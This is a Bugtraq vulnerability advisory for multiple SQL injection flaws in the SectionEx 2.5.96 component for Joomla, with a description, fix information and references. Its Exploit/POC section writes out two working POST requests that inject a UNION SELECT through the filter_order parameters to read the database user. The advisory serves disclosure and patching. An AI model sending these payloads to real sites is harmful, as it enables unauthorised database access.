Joomla! SectionEx Component Multiple SQL Injection Vulnerabilities
BID:61615
Info
Joomla! SectionEx Component Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 61615 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 05 2013 12:00AM |
| Updated: | Aug 05 2013 12:00AM |
| Credit: | Matias Fontanini |
| Vulnerable: |
StackIdeas SectionEx 2.5.96 |
| Not Vulnerable: |
StackIdeas SectionEx 2.5.104 |
Discussion
Joomla! SectionEx Component Multiple SQL Injection Vulnerabilities
The SectionEx component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
SectionEx 2.5.96 is vulnerable; other versions may also be affected.
The SectionEx component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
SectionEx 2.5.96 is vulnerable; other versions may also be affected.
Exploit / POC
Joomla! SectionEx Component Multiple SQL Injection Vulnerabilities
An attacker can exploit these issues using a browser.
The following example requests are available:
POST /index.php?option=com_sectionex&view=category&id=X&Itemid=Y
filter_title=&filter_content=&limit=0&sectionid=20&filter_order=1
limit 1 offset 10000) union all (select
1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16 from
dual)%23&filter_order_Dir=DESC
POST /index.php?option=com_sectionex&view=category&id=X&Itemid=Y
filter_title=&filter_content=&limit=0&sectionid=20&filter_order=1&filter_order_Dir=DESC
limit 1 offset 10000) union all (select
1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16 from dual)%23
An attacker can exploit these issues using a browser.
The following example requests are available:
POST /index.php?option=com_sectionex&view=category&id=X&Itemid=Y
filter_title=&filter_content=&limit=0&sectionid=20&filter_order=1
limit 1 offset 10000) union all (select
1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16 from
dual)%23&filter_order_Dir=DESC
POST /index.php?option=com_sectionex&view=category&id=X&Itemid=Y
filter_title=&filter_content=&limit=0&sectionid=20&filter_order=1&filter_order_Dir=DESC
limit 1 offset 10000) union all (select
1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16 from dual)%23
Solution / Fix
Joomla! SectionEx Component Multiple SQL Injection Vulnerabilities
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
Joomla! SectionEx Component Multiple SQL Injection Vulnerabilities
References:
References:
- Joomla com_sectionex v2.5.96 SQL Injection vulnerabilities (Matias Fontanini)
- Joomla Homepage (Joomla)